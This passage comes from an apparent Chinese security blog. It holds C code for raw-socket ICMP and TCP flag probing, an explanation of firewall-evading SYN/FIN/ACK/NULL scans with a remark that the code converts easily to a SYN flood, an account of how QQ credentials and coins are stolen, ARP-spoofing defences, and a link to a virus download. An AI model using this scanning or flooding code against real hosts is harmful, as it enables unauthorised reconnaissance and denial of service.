printf("ICMPPing\n");
printf("\t Written by Refdom\n");
printf("\t Email: refdom@263.net\n");
printf("Useage: ICMPPing.exe Target_ip \n");
printf("*******************************************\n");
}

void DecodeHeader(char*, int);

void main(int argc, char* argv[])
{
ICMP_HEADER icmpHeader;
int rect;
WSADATA WSAData;
SOCKET sock;
SOCKADDR_IN addr_in,addr_from;
char recvbuf[1024];

useage();
if (argc!=2)
{ exit(0); }

if (WSAStartup(MAKEWORD(2,2), &WSAData) != 0 )
{ printf ("WSAStartup Error!\n");
exit(0);
}

sock= socket(AF_INET, SOCK_RAW, IPPROTO_ICMP);
int nTimeOut = 2000;
setsockopt(sock, SOL_SOCKET, SO_SNDTIMEO, (char*)&nTimeOut, sizeof(nTimeOut));
setsockopt(sock, SOL_SOCKET, SO_RCVTIMEO, (char*)&nTimeOut, sizeof(nTimeOut));
memset(&addr_in, 0, sizeof(addr_in));
addr_in.sin_family = AF_INET;
addr_in.sin_addr.S_un.S_addr = inet_addr(argv[1]);

if (addr_in.sin_addr.S_un.S_addr == INADDR_NONE)
{
struct hostent *host = NULL;
if ((host = gethostbyname(argv[1])) != NULL)
{
memcpy(&(addr_in.sin_addr), host->h_addr, host->h_length);
}
}
//
memset(&icmpHeader, 0, sizeof(icmpHeader));
icmpHeader.i_type = 8;
icmpHeader.i_code = 0;
icmpHeader.i_cksum = 0;
icmpHeader.i_id = (USHORT)GetCurrentProcessId();
icmpHeader.i_seq = 0;
icmpHeader.timestamp = GetTickCount();
icmpHeader.i_cksum = checksum((USHORT*)&icmpHeader, sizeof(icmpHeader));

rect = sendto(sock, (char*)&icmpHeader, sizeof(icmpHeader), 0, (sockaddr*)&addr_in, sizeof(addr_in));
int addr_from_len;
addr_from_len = sizeof(addr_from);
rect = recvfrom(sock, recvbuf, sizeof(recvbuf), 0, (sockaddr*)&addr_from, &addr_from_len);
DecodeHeader(recvbuf, rect);
closesocket(sock);
WSACleanup();
}

void DecodeHeader(char* buf, int len)
{
ICMP_HEADER *icmpHeader;
IP_HEADER *ipHeader;
IN_ADDR addr;
icmpHeader = (ICMP_HEADER*)(buf+20);
DWORD Time1;

Time1 = GetTickCount();
ipHeader = (IP_HEADER*)malloc(20);
memcpy(ipHeader, buf, 20);
addr.S_un.S_addr = ipHeader->sourceIP;
if (icmpHeader->i_type != 0)
{ printf("No replay!\n"); }
if (icmpHeader->i_id != (USHORT)GetCurrentProcessId())
{ printf("other pocket!\n"); }
printf("Reply from %s: Bytes= %d ", inet_ntoa(addr), len);
printf("TTL = %d Time= %d ms.\n", ipHeader->ttl, Time1-icmpHeader->timestamp );
}
(其中去掉了一些错误判断的地方,呵呵,节约空间)
PING得到的结果包括字节数、反应时间、以及生存时间。Ping程序通过在ICMP报文数据中存放发送请求的时间来计算返回时间。当应答返回时,根据现在时间减去报文中存放的发送时间就得到反应时间了。生存时间(TTL),本来就存放在IP数据报的头部,直接就能够获取。我们能够根据TTL时间来大致判断目标主机的系统类型,以及我们需要到达目的地需要经过几个路由器等等。
但是普通的Ping命令只能对一台主机进行探测,如果是要判断一个大类的网络是否有哪些活动的机器的话,就需要制作一个用来大面积Ping的工具,当然,你可以改进上面的基本程序,或者使用多线程并发来满足大面积Ping的需要。
还有一个Tracert 命令,也非常有用,可以参考以前写的,这里就不再罗嗦了。
关于ICMP协议的其他使用,比如,ICMP拒绝服务攻击等等,以后再讨论。
由于现在一些防火墙对ICMP进行控制,所以,实际上用ping来做判断已经非常不可靠了。即使是个人防火墙,你也Ping不进去了。
当然,我们有更多探测的方式,我们可以不使用ICMP协议,而使用更普通的TCP协议来进行探测,而且进行对方开放端口的扫描。普通的TCP探测是直接用connect()进行的,但是,在对方有防火墙情况下,Connect() 探测得出的结果也是不能确信的,如果熟悉更多关于TCP/IP协议的内容,我们就可以通过TCP/IP协议的特点尽可能地绕过防火墙。这就是大家所说得半开式扫描,其原理也就是不直接使用Connect进行对方端口得连接,而是发送TCP的标志位来实现,而且这样根本就不用同目标主机进行实际的连接。
在X-Scanner也有使用SYN探测的一项,也就是通过下面这些原理来做的。

SYN PING
SYN位表示一个TCP连接的开始,也就是三次握手的第一步,向远端主机某端口发送一个只有SYN标志位的TCP数据报,如果主机反馈一个SYN || ACK数据包,那么,这个主机正在监听该端口,如果反馈的是RST数据包,说明,主机没有监听该端口。

ACK PING
在三次握手中,ACK来表示确认握手过程,但是,如果根本没有进行SYN的请求,而去确认连接,目标主机就会认为一个错误发生了,而发送RST位来中断会话。发送一个只有ACK标志的TCP数据报给主机,如果主机反馈一个TCP RST数据报来,那么这个主机是存在的。ACK探测更容易通过一些 stateless型的防火墙。

FIN ping
因为FIN标志表示一个结束,但是目标主机根本就没有这个连接记录,所以,根据TCP/IP协议,目标主机就要发送一个RST标志的数据包来中断这个会话。对某端口发送一个TCP FIN数据报给远端主机,如果主机没有任何反馈,那么这个主机是存在的,而且正在监听这个端口;主机反馈一个TCP RST回来,那么说明该主机是存在的,但是没有监听这个端口。

NULL Ping
即发送一个没有任何标志位的TCP包,根据RFC793,如果目标主机的相应端口是关闭的话,应该发送回一个RST数据包。

后两种办法可以绕过一些防火墙,而得到防火墙后面的主机信息。即使在ICMP包被过滤的情况下,一般TCP探测还是能够成功的。当然,是在不被欺骗的情况下的。

下面这段程序就是一个TCP/IP半开探测的例子,当然,并没有做得完美,因为没有接收部分,而在WIN2000下实际就是一个选择性的SNIFFER,呵呵,大家可以使用其他的SNIFFER来实现同样的目的。

#include
#include
#include

#define SOURCE_PORT 7234
#define MAX_RECEIVEBYTE 255

typedef struct ip_hdr //定义IP首部
{
unsigned char h_verlen; //4位首部长度,4位IP版本号
unsigned char tos; //8位服务类型TOS
unsigned short total_len; //16位总长度(字节)
unsigned short ident; //16位标识
unsigned short frag_and_flags; //3位标志位
unsigned char ttl; //8位生存时间 TTL
unsigned char proto; //8位协议 (TCP, UDP 或其他)
unsigned short checksum; //16位IP首部校验和
unsigned int sourceIP; //32位源IP地址
unsigned int destIP; //32位目的IP地址
}IPHEADER;

typedef struct tsd_hdr //定义TCP伪首部
{
unsigned long saddr; //源地址
unsigned long daddr; //目的地址
char mbz;
char ptcl; //协议类型
unsigned short tcpl; //TCP长度
}PSDHEADER;

typedef struct tcp_hdr //定义TCP首部
{
USHORT th_sport; //16位源端口
USHORT th_dport; //16位目的端口
unsigned int th_seq; //32位序列号
unsigned int th_ack; //32位确认号
unsigned char th_lenres; //4位首部长度/6位保留字
unsigned char th_flag; //6位标志位
USHORT th_win; //16位窗口大小
USHORT th_sum; //16位校验和
USHORT th_urp; //16位紧急数据偏移量
}TCPHEADER;

//CheckSum:计算校验和的子函数
USHORT checksum(USHORT *buffer, int size)
{
unsigned long cksum=0;
while(size >1)
{
cksum+=*buffer++;
size -=sizeof(USHORT);
}
if(size )
{
cksum += *(UCHAR*)buffer;
}

cksum = (cksum >> 16) + (cksum & 0xffff);
cksum += (cksum >>16);
return (USHORT)(~cksum);
}

void useage()
{
printf("******************************************\n");
printf("TCPPing\n");
printf("\t Written by Refdom\n");
printf("\t Email: refdom@263.net\n");
printf("Useage: TCPPing.exe Target_ip Target_port \n");
printf("*******************************************\n");
}

int main(int argc, char* argv[])
{
WSADATA WSAData;
SOCKET sock;
SOCKADDR_IN addr_in;
IPHEADER ipHeader;
TCPHEADER tcpHeader;
PSDHEADER psdHeader;

char szSendBuf[60]={0};
BOOL flag;
int rect,nTimeOver;

useage();

if (argc!= 3)
{ return false; }

if (WSAStartup(MAKEWORD(2,2), &WSAData)!=0)
{
printf("WSAStartup Error!\n");
return false;
}

if ((sock=WSASocket(AF_INET,SOCK_RAW,IPPROTO_RAW,NULL,0,WSA_FLAG_OVERLAPPED))==INVALID_SOCKET)
{
printf("Socket Setup Error!\n");
return false;
}
flag=true;
if (setsockopt(sock,IPPROTO_IP, IP_HDRINCL,(char *)&flag,sizeof(flag))==SOCKET_ERROR)
{
printf("setsockopt IP_HDRINCL error!\n");
return false;
}

nTimeOver=1000;
if (setsockopt(sock, SOL_SOCKET, SO_SNDTIMEO, (char*)&nTimeOver, sizeof(nTimeOver))==SOCKET_ERROR)
{
printf("setsockopt SO_SNDTIMEO error!\n");
return false;
}
addr_in.sin_family=AF_INET;
addr_in.sin_port=htons(atoi(argv[2]));
addr_in.sin_addr.S_un.S_addr=inet_addr(argv[1]);

//
//
//填充IP首部
ipHeader.h_verlen=(4<<4 | sizeof(ipHeader)/sizeof(unsigned long));
// ipHeader.tos=0;
ipHeader.total_len=htons(sizeof(ipHeader)+sizeof(tcpHeader));
ipHeader.ident=1;
ipHeader.frag_and_flags=0;
ipHeader.ttl=128;
ipHeader.proto=IPPROTO_TCP;
ipHeader.checksum=0;
ipHeader.sourceIP=inet_addr("本地地址");
ipHeader.destIP=inet_addr(argv[1]);

//填充TCP首部
tcpHeader.th_dport=htons(atoi(argv[2]));
tcpHeader.th_sport=htons(SOURCE_PORT); //源端口号
tcpHeader.th_seq=htonl(0x12345678);
tcpHeader.th_ack=0;
tcpHeader.th_lenres=(sizeof(tcpHeader)/4<<4|0);
tcpHeader.th_flag=2; //修改这里来实现不同的标志位探测,2是SYN,1是FIN,16是ACK探测 等等
tcpHeader.th_win=htons(512);
tcpHeader.th_urp=0;
tcpHeader.th_sum=0;

psdHeader.saddr=ipHeader.sourceIP;
psdHeader.daddr=ipHeader.destIP;
psdHeader.mbz=0;
psdHeader.ptcl=IPPROTO_TCP;
psdHeader.tcpl=htons(sizeof(tcpHeader));

//计算校验和
memcpy(szSendBuf, &psdHeader, sizeof(psdHeader));
memcpy(szSendBuf+sizeof(psdHeader), &tcpHeader, sizeof(tcpHeader));
tcpHeader.th_sum=checksum((USHORT *)szSendBuf,sizeof(psdHeader)+sizeof(tcpHeader));

memcpy(szSendBuf, &ipHeader, sizeof(ipHeader));
memcpy(szSendBuf+sizeof(ipHeader), &tcpHeader, sizeof(tcpHeader));
memset(szSendBuf+sizeof(ipHeader)+sizeof(tcpHeader), 0, 4);
ipHeader.checksum=checksum((USHORT *)szSendBuf, sizeof(ipHeader)+sizeof(tcpHeader));

memcpy(szSendBuf, &ipHeader, sizeof(ipHeader));

rect=sendto(sock, szSendBuf, sizeof(ipHeader)+sizeof(tcpHeader),
0, (struct sockaddr*)&addr_in, sizeof(addr_in));
if (rect==SOCKET_ERROR)
{
printf("send error!:%d\n",WSAGetLastError());
return false;
}
else
printf("send ok!\n");

closesocket(sock);
WSACleanup();

return 0;
}

上面这个程序不光是一个Ping的程序,也可以更改成为一个比connect()更优秀的端口扫描器。

上面这个程序实际上就是通过原始套接字发送自己构造的TCP和IP数据头,如果对这个程序作修改,也很容易改为一个SYN FLOOD的工具。SYN位前面说了,是三次握手过程的第一步,表示发出一个连接请求,这时目标主机同意的时候就会返回一个ACK SYN的数据报,来确认客户端的连接,然后需要客户端进行最后一次ACK的确认,来建立这个连接。但是,如果客户步发送一个ACK来确认,那么,服务器端就有一个缓冲来等待这个确认。当有大量的SYN缓冲等待的时候,正常的连接请求就会被放在一大堆队列中,从而影响正常用户的正常连接。同样相似的,就是RST拒绝服务了。

进行上面的探测应该是探测的第一步,比如主机活动状态,端口。接来下应该针对相应端口进行更详细的判别,以及探测主机系统。

你的QQ号码、Q币是这样被盗的,教你QQ等账号防盗防骗的小经验

QQ等账号防盗防骗的小经验

最近盗号很猖獗,大家一定要小心看管自己的账号!这里有一些小技巧希望大家能注意下。

1、公共场所上网、下机前,务必重起电脑

相信现在网吧电脑都100%安装了还原系统,重起电脑基本可以杜绝菜鸟级别的盗号手段。

2、上网过程中,坚决不打开别人发你的不明链接

记得有一次,正跟玩魔力的朋 友QQ聊天。他莫名其妙的让我去某网址看照片。我正犹豫的时候,他紧接着发过来一句“千万别开那网页,有病毒!我电脑已经感染了……”

上网,不要浏览乱七八糟的网站,尤其是现在的一些卖虚拟财产的网站,广告价格特别便宜,其实就是引人上当。如果你上网感觉不明原因的电脑运行慢了,立刻重起电脑。

3、不要随便陷入“网恋”

“网恋”骗号,损失的不只是物质财富,还有感情。网络,只是一个虚拟的世界,不要过于想入非非。账号尽量不要告诉别人,特别是异性,除非你绝对相信他!

4、账号、密码错位输入

比如你的账号是“ABcdEFG”,你输入的时候先输入“cd”,再用鼠标把光标移动盗最前面输入“AB”,再用鼠标把光标移动到最后输入“EFG”。这种方法可以让大多数木马失效。

你的QQ号码、Q币是这样被盗的

可能最近越来越多的人,发现自己QQ号码经常出现异常情况,有的甚至被盗。告诉你吧,这是因为你的号码已经被黑客光顾!!

  据我知道的两个黑客头目,他们每天光顾的号码高达2000万之多。但是黑客一般只对自己有用的号码下手。下面列举几类:

  第一,有QQ币,游戏币的。他们会将里面的Q币兑换成游戏币,然后利用双开外挂都转到他们自己的号码上。大家会问,为什么这样做呢?因为单独Q币是不能赠送的,而游戏币则可以转的。他们将转来的游戏币那到市场上卖,一般就是300块=1000万。他们少数时候也会将Q币以赠送的方式帮别人买道具.

  第二,QQ号。他们的软件可以查出密保和等级。如果发现,6,7,8位的而等级又很高的。他们就下手改掉密码。而其他的没有什么价值的号码,他们都不动。等着你充Q币再下手。说一下盗Q币,QQ号码的过程吧他们首先有头目通过木马程序搜索号码和密码,然后以万为单位装在"信封"里。"信封"是里面装有大家号码和密码信息的文本。下面的人就将文本用叫*QQ,$QQ,#QQ,的几个软件扫出里面包含有游戏币,Q币,以及无保的QQ号。他们一般会在12点以后将里面的币通过同花顺转到自己的号码上。因为如果在白天容易碰车。如果有的用户已经登陆了,那他们就没办法了。据我所知他们一天盗得的QQ币共大约150万个。数目之大让人吃惊。

  下面是具体操作流程:

  盗QQ号和,Q币的程序!!!

  第一,通过木马和其他$$获取大家QQ号码和密码,然后放在一个"信封里"作为一个文本

  第二,将这些号码文本输入一个叫做$QQ的软件点击查询查完有会输出有Q币的号码和密码(后面的数字表示Q币的数目)

  第三步就是将你的Q币兑换成游戏币,然后利用同花顺外挂,将你的游戏币输给固定的号码,这样基本就算盗币成功了

  第四步是查询有效的号码(包括6,7,8无保靓号,太阳号)他们用% QQ软件件也是将文本输入,并且设置好输出号码的属性(如果等级积分,密码,是否绑定等)他们将查出来的而且值钱的号码改密,这样号码就被盗了.但是如果不是太阳,又不是什么靓号他们就懒得改你的,而是将这些信封包存起来,过几天再查一次,因为在这么多用户中肯定有很多人还会继续充值的.

  介绍大家几个保护的措施:

  第一,要定期对电脑杀毒,杀毒软件推荐使用卡巴斯基,再配合另外一个杀毒软件捆绑使用.因为他们所设置的木马可以破坏很多杀毒软件的数据库,使软件在杀毒的时候查不出,木马的存在这也就是为什么很多在公司上班,在家里上网的GG,JJ,也逃不脱被盗的命运的原因

  第二,QQ密码最好在第一位,或者最后一位加一个空格。因为他们在转币的时候都是将你密码复制到密码框里,如果你加一个空格,他们就误以为你已经改了密码。或者输入密码的时候例如密码是123456.你可以在输入最后两位的时候先输入6,再退会一个输入5,这样他们记录就会是123465

  第三,Q币最好设置最低消费额。那样也没有办法转的.在你用的时候再修改消费限额

  第四,游戏币一定要存起来。每次游戏的时候不要带带太多的币。

  第五,就是如果号码出现异常的时候不要大意,一定要马上修改及时修改密码,因为这个时候你的号码和密码已经暴露了,之所以没出现什么损失,是因为你的号码本身不是靓号,太阳号,也没有Q币,一旦你充了Q币,马上就会被盗的. 第六,万一号码被盗,不要第一时间去申诉,而是首先要对电脑杀毒,或者在申诉过程中输入邮箱密码的时候同样采取输入QQ密码的方式,因为他们新编辑出的木马可以查邮箱以及密码的,如果你的邮箱被他们拿到,那么你的密保资料肯定就会被修改,这样申诉的可能性也不大了

  本人花了很长时间了解了三个犯罪团伙的内幕,并且掌握了足够的证据。但是举报无门,打电话到腾讯客服,他们说有人和我联系,但是到现在还没有人找过我。这样大的事情,TX居然置之不理,我看他们是忘本了吧,要是大家都不用QQ看他们还拽不拽的起来。

  支持的请顶一下吧!!!!!!!!希望天下无贼!!!!!

  腾讯有一个无法解决的问题就是他们只能通过限制IP的方式来约束短时间内登陆大量的号码,以及频繁转换游戏币.但是盗号者都是通过ADSL上网,一般都有代理IP,所以封IP对他们是没有用的.而且会导致一些被来是受害者的帐号被封.这样可能是对帐号的保护,但是同时号码的主人自己也没有办法消费.腾讯的解释是非官方充值的结果.而就我知道的而言,还没有出现直接充Q币会冻结帐号的.

  黑客又有新行动!!!!!!

  前几天TX的系统升级一度使黑客无法将盗来的Q币转移,这也使得前几天盗Q币的现象突然减少了好多但是就在8月24号他们升级了原来的%QQ.可以在查的时候就直接将Q币转移成游戏币,这样就在转游戏币的时候就不怕被限制IP.而且还在出了&QQ版本的象棋秒杀版,以方便转游戏币.因为在转游戏币的时候要收两次税,(第一次是将盗来的游戏比转到自己的帐号上,然后将自己帐号上的游戏币转卖给别人又有税)这样就相当于收了19%的税.所以他们现在也将业务投向会员服务.具体的是将Q币为买家充服务,会员,三钻.........,还有就是现在小额的0.9以上的他们也可以转,主要是转换成喇叭.1000个的喇叭120左右吧,现在的%% QQ软件升级了, 可以自动转,而速度比以前通过游戏比转时候的人工要快的多.

而且他们现在正在测试查密保资料软件,一旦软件正式运行

  新一轮更大规模的盗号风暴将会到来.希望大家小心为好吧!

轻松解决ARP病毒

轻松解决ARP病毒

  ARP病毒病毒发作时候的特征为,中毒的机器会伪造某台电脑的MAC地址,如该伪造地址为网关服务器的地址,那么对整个网络均会造成影响,用户表现为上网经常瞬断。

例子中的IP地址均为假设

一、在任意客户机上进入命令提示符(或MS-DOS方式),用arp –a命令查看:

C:WINNTsystem32>arp -aInterface: 192.168.100.93 on Interface 0x1000003Internet Address Physical Address Type192.168.100.1 00-50-da-8a-62-2c dynamic192.168.100.23 00-11-2f-43-81-8b dynamic192.168.100.24 00-50-da-8a-62-2c dynamic192.168.100.25 00-05-5d-ff-a8-87 dynamic192.168.100.200 00-50-ba-fa-59-fe dynamic

可以看到有两个机器的MAC地址相同,那么实际检查结果为 00-50-da-8a-62-2c为192.168.0.24的MAC地址,192.168.100.1的实际MAC地址为00-02-ba-0b-04-32,我们可以判定192.168.100.24实际上为有病毒的机器,它伪造了192.168.100.1的MAC地址。

二、在192.168.100.24上进入命令提示符(或MS-DOS方式),用arp –a命令查看:

C:WINNTsystem32>arp -aInterface: 192.168.100.24 on Interface 0x1000003Internet Address Physical Address Type192.168.100.1 00-02-ba-0b-04-32 dynamic192.168.100.23 00-11-2f-43-81-8b dynamic192.168.100.25 00-05-5d-ff-a8-87 dynamic192.168.100.193 00-11-2f-b2-9d-17 dynamic192.168.100.200 00-50-ba-fa-59-fe dynamic

可以看到带病毒的机器上显示的MAC地址是正确的,而且该机运行速度缓慢,应该为所有流量在二层通过该机进行转发而导致,该机重启后所有电脑都不能上网,只有等arp刷新MAC地址后才正常,一般在2、3分钟左右。

三、如果主机可以进入dos窗口,用arp –a命令可以看到类似下面的现象:

C:WINNTsystem32>arp -aInterface: 192.168.100.1 on Interface 0x1000004Internet Address Physical Address Type192.168.100.23 00-50-da-8a-62-2c dynamic192.168.100.24 00-50-da-8a-62-2c dynamic192.168.100.25 00-50-da-8a-62-2c dynamic192.168.100.193 00-50-da-8a-62-2c dynamic192.168.100.200 00-50-da-8a-62-2c dynamic

该病毒不发作的时候,在代理服务器上看到的地址情况如下:

C:WINNTsystem32>arp -aInterface: 192.168.100.1 on Interface 0x1000004Internet Address Physical Address Type192.168.0.23 00-11-2f-43-81-8b dynamic192.168.100.24 00-50-da-8a-62-2c dynamic192.168.100.25 00-05-5d-ff-a8-87 dynamic192.168.100.193 00-11-2f-b2-9d-17 dynamic192.168.100.200 00-50-ba-fa-59-fe dynamic

病毒发作的时候,可以看到所有的ip地址的mac地址被修改为00-50-da-8a-62-2c,正常的时候可以看到MAC地址均不会相同。

解决办法:

一、采用客户机及网关服务器上进行静态ARP绑定的办法来解决。

1. 在所有的客户端机器上做网关服务器的ARP静态绑定。

首先在网关服务器(代理主机)的电脑上查看本机MAC地址

C:WINNTsystem32>ipconfig /allEthernet adapter 本地连接 2:Connection-specific DNS Suffix . :Description . . . . . . . . . . . : Intel(R) PRO/100B PCI Adapter (TX)Physical Address. . . . . . . . . : 00-02-ba-0b-04-32Dhcp Enabled. . . . . . . . . . . : NoIP Address. . . . . . . . . . . . : 192.168.100.1Subnet Mask . . . . . . . . . . . : 255.255.255.0

然后在客户机器的DOS命令下做ARP的静态绑定

C:WINNTsystem32>arp –s 192.168.100.1 00-02-ba-0b-04-32

注:如有条件,建议在客户机上做所有其他客户机的IP和MAC地址绑定。

2. 在网关服务器(代理主机)的电脑上做客户机器的ARP静态绑定

首先在所有的客户端机器上查看IP和MAC地址,命令如上。

然后在代理主机上做所有客户端服务器的ARP静态绑定。如:

C:winntsystem32> arp –s 192.168.0.23 00-11-2f-43-81-8bC:winntsystem32> arp –s 192.168.0.24 00-50-da-8a-62-2cC:winntsystem32> arp –s 192.168.0.25 00-05-5d-ff-a8-87。。。。。。。。。

3. 以上ARP的静态绑定最后做成一个windows自启动文件,让电脑一启动就执行以上操作,保证配置不丢失。

二、有条件的网吧可以在交换机内进行IP地址与MAC地址绑定

三、IP和MAC进行绑定后,更换网卡需要重新绑定,因此建议在客户机安装杀毒软件来解决此类问题:发现的病毒是变速齿轮2.04B中带的,病毒程序在 http://www.wgwang.com/list/3007.html 可下载到:

1、KAV(卡巴斯基),可杀除该病毒,病毒命名为:TrojanDropper.Win32.Juntador.c杀毒信息:07.02.2005 10:48:00 C:Documents and SettingsAdministratorLocal SettingsTemporary Internet FilesContent.IE5B005Z0K9Gear_Setup[1].exe infected TrojanDropper.Win32.Juntador.c

2、瑞星可杀除该病毒,病毒命名为:TrojanDropper.Win32.Juntador.f

3、另:别的地市报金山毒霸和瑞星命名:“密码助手”木马病毒(Win32.Troj.Mir2)或Win32.Troj.Zypsw.33952的病毒也有类似情况。

服务器的ARP欺骗攻击的防范

  这些天我的服务器几乎天天都被人ARP欺骗攻击,网页被挂木马,实在烦死了,深圳的龙岗电信机房实在是够恶心的,不得已,我只好寻找一些防范ARP攻击的方法,目前发现可以使用静态地址法和使用专用软件的方法来防范ARP欺骗攻击。

  静态地址法指的是,在本地服务器上,将路由器的MAC地址设置为静态的方式来阻止别人对我的ARP攻击,如果你也越到了类似的ARP欺骗攻击,也可以参考这个方法进行设置。

  首先,找到路由器真实的MAC地址,在没有被攻击的条件下,输入命令arp -a 网关的IP地址,就可以找到,其中Physical Address里就是网关MAC地址,显示类似00-07-e9-0a-77-93,其类型Type通常为动态dynamic。我们的目的是要将其设置为静态static。

  接着, 使用arp -d命令删除目前的arp列表,再使用arp -s 网关IP地址 网关MAC地址,将其设置为静态static。

  这时候,系统的ARP就会变成静态了,但是如果服务器重新启动,这些设置就消失了,因此,编辑一个BAT文件,内容为以上的arp -s的内容,将其加到“启动”菜单中,然后修改Windows注册表使得Windows可以自动登录,这样每次启动都会自动设置静态的ARP了。

  如果感觉操作起来麻烦,或者使用上面的方法依旧无法阻止ARP攻击,那么可以使用第二种方法,使用专门的ARP防火墙软件来阻止别人的ARP攻击。根据我的使用感受,有一个叫antiarp的商用软件功能还是比较丰富的,软件价格是每台服务器199元。在服务器上安装这个软件之后,除了可以自动预防ARP攻击之外,还可以使用这个ARP防火墙软件查找出ARP攻击者的IP地址。知道了攻击者的IP地址后,大家就可以将其截图后发给IDC机房,要求机房关闭那台ARP服务器,通常情况下机房会关闭病毒服务器,如果机房不关闭服务器,那就去公安局报案,指控电信机房散布病毒。

  对于那些托管服务器却不做好安全设定的人,我劝他们先学好计算机知识后再托管服务器,否则以后肯定会吃大亏。对于那些主动在服务器上使用arp病毒工具的人,我鄙视他们,祝他们好自为之。

  附录:ARP相关背景知识(来自欣向ARP工具)

  ARP欺骗原理:

  在局域网中,通信前必须通过ARP协议来完成IP地址转换为第二层物理地址(即MAC地址)。ARP协议对网络安全具有重要的意义,但是当初ARP方式的设计没有考虑到过多的安全问题,给ARP留下很多的隐患,ARP欺骗就是其中一个例子。而ARP欺骗攻击就是利用该协议漏洞,通过伪造MAC地址实现ARP欺骗的攻击技术。

  在同一局域网内的电脑都是通过MAC地址进行通讯的。方法为,PC和另一台设备通讯,PC会先寻找对方的IP地址,然后在通过ARP表(ARP表里面有所以可以通讯IP和IP所对应的MAC地址)调出相应的MAC地址。通过MAC地址与对方通讯。也就是说在内网中各设备互相寻找和用来通讯的地址是MAC地址,而不是IP地址。

  网内的任何一台机器都可以轻松的发送ARP广播,来宣称自己的IP和自己的MAC.这样收到的机器都会在自己的ARP表格中建立一个他的ARP项,记录他的IP和MAC地址。如果这个广播是错误的其他机器也会接受。有了这个方法欺骗者只需要做一个软件,就可以在局域网内进行ARP欺骗攻击了。

  ARP的发现:

  ARP的通病就是掉线,在掉线的基础上可以通过以下几种方式判别,1.一般情况下不需要处理1分钟之内就可以回复正常上网。因为ARP欺骗是由时限,过了期限就会自动的回复正常。而且现在大多数路由器都会在很短时间内不停广播自己的正确ARP,使受骗的机器回复正常。但是如果出现攻击性ARP欺骗(其实就是时间很短的量很大的欺骗ARP,1秒有个几百上千的),他是不断的通过非常大量ARP欺骗来阻止内网机器上网,即使路由器不断广播正确的包也会被他大量的错误信息给淹没。2.打开被骗机器的DOS界面,输入ARP -A命令会看到相关的ARP表,通过看到的网关的MAC地址可以去判别是否出现ARP欺骗,但是由于时限性,这个工作必须在机器回复正常之前完成。如果出现欺骗问题,ARP表里面会出现错误的网关MAC地址,和真实的网关MAC一对黑白立分。

星期三, 十月 10, 2007

浅析传统网络防火墙的五大不足

浅析传统网络防火墙的五大不足

  传统的网络防火墙有哪些不足呢?请看此文

  网络防火墙在安全防护中,起到重要作用,但是我们,也应该看到它的不足之处。如今,知识渊博的黑客,均能利用网络防火墙开放的端口,巧妙躲过网络防火墙的监测,直接针对目标应用程序。他们想出复杂的攻击方法,能够绕过传统网络防火墙。据专家统计,目前70%的攻击是发生在应用层,而不是网络层。对于这类攻击,传统网络防火墙的防护效果,并不太理想。

  传统的网络防火墙,存在着以下不足之处:

  1、无法检测加密的Web流量

  如果你正在部署一个关键的门户网站,希望所有的网络层和应用层的漏洞都被屏蔽在应用程序之外。这个需求,对于传统的网络防火墙而言,是个大问题。

  由于网络防火墙对于加密的SSL流中的数据是不可见的,防火墙无法迅速截获SSL数据流并对其解密,因此无法阻止应用程序的攻击,甚至有些网络防火墙,根本就不提供数据解密的功能。

  2、普通应用程序加密后,也能轻易躲过防火墙的检测

  网络防火墙无法看到的,不仅仅是SSL加密的数据。对于应用程序加密的数据,同样也不可见。在如今大多数网络防火墙中,依赖的是静态的特征库,与入侵监测系统(IDS,Intrusion Detect System)的原理类似。只有当应用层攻击行为的特征与防火墙中的数据库中已有的特征完全匹配时,防火墙才能识别和截获攻击数据。

  但如今,采用常见的编码技术,就能够地将恶意代码和其他攻击命令隐藏起来,转换成某种形式,既能欺骗前端的网络安全系统,又能够在后台服务器中执行。这种加密后的攻击代码,只要与防火墙规则库中的规则不一样,就能够躲过网络防火墙,成功避开特征匹配。

  3、对于Web应用程序,防范能力不足

  网络防火墙于1990年发明,而商用的Web服务器,则在一年以后才面世。基于状态检测的防火墙,其设计原理,是基于网络层TCP和IP地址,来设置与加强状态访问控制列表(ACLs,Access Control Lists)。在这一方面,网络防火墙表现确实十分出色。

  近年来,实际应用过程中,HTTP是主要的传输协议。主流的平台供应商和大的应用程序供应商,均已转移到基于Web的体系结构,安全防护的目标,不再只是重要的业务数据。网络防火墙的防护范围,发生了变化。

  对于常规的企业局域网的防范,通用的网络防火墙仍占有很高的市场份额,继续发挥重要作用,但对于新近出现的上层协议,如XML和SOAP等应用的防范,网络防火墙就显得有些力不从心。

  由于体系结构的原因,即使是最先进的网络防火墙,在防范Web应用程序时,由于无法全面控制网络、应用程序和数据流,也无法截获应用层的攻击。由于对于整体的应用数据流,缺乏完整的、基于会话(Session)级别的监控能力,因此很难预防新的未知的攻击。

4、应用防护特性,只适用于简单情况

  目前的数据中心服务器,时常会发生变动,比如:

  ★ 定期需要部署新的应用程序;

  ★ 经常需要增加或更新软件模块;

  ★ QA们经常会发现代码中的bug,已部署的系统需要定期打补丁。

  在这样动态复杂的环境中,安全专家们需要采用灵活的、粗粒度的方法,实施有效的防护策略。

  虽然一些先进的网络防火墙供应商,提出了应用防护的特性,但只适用于简单的环境中。细看就会发现,对于实际的企业应用来说,这些特征存在着局限性。在多数情况下,弹性概念(proof-of-concept)的特征无法应用于现实生活中的数据中心上。

  比如,有些防火墙供应商,曾经声称能够阻止缓存溢出:当黑客在浏览器的URL中输入太长数据,试图使后台服务崩溃或使试图非法访问的时候,网络防火墙能够检测并制止这种情况。

  细看就会发现,这些供应商采用对80端口数据流中,针对URL长度进行控制的方法,来实现这个功能的。

  如果使用这个规则,将对所有的应用程序生效。如果一个程序或者是一个简单的Web网页,确实需要涉及到很长的URL时,就要屏蔽该规则。

  网络防火墙的体系结构,决定了网络防火墙是针对网络端口和网络层进行操作的,因此很难对应用层进行防护,除非是一些很简单的应用程序。

  5、无法扩展带深度检测功能

  基于状态检测的网络防火墙,如果希望只扩展深度检测(deep inspection)功能,而没有相应增加网络性能,这是不行的。

  真正的针对所有网络和应用程序流量的深度检测功能,需要空前的处理能力,来完成大量的计算任务,包括以下几个方面:

  ★ SSL加密/解密功能;

  ★ 完全的双向有效负载检测;

  ★ 确保所有合法流量的正常化;

  ★ 广泛的协议性能;

  这些任务,在基于标准PC硬件上,是无法高效运行的,虽然一些网络防火墙供应商采用的是基于ASIC的平台,但进一步研究,就能发现:旧的基于网络的ASIC平台对于新的深度检测功能是无法支持的。

  6、小结

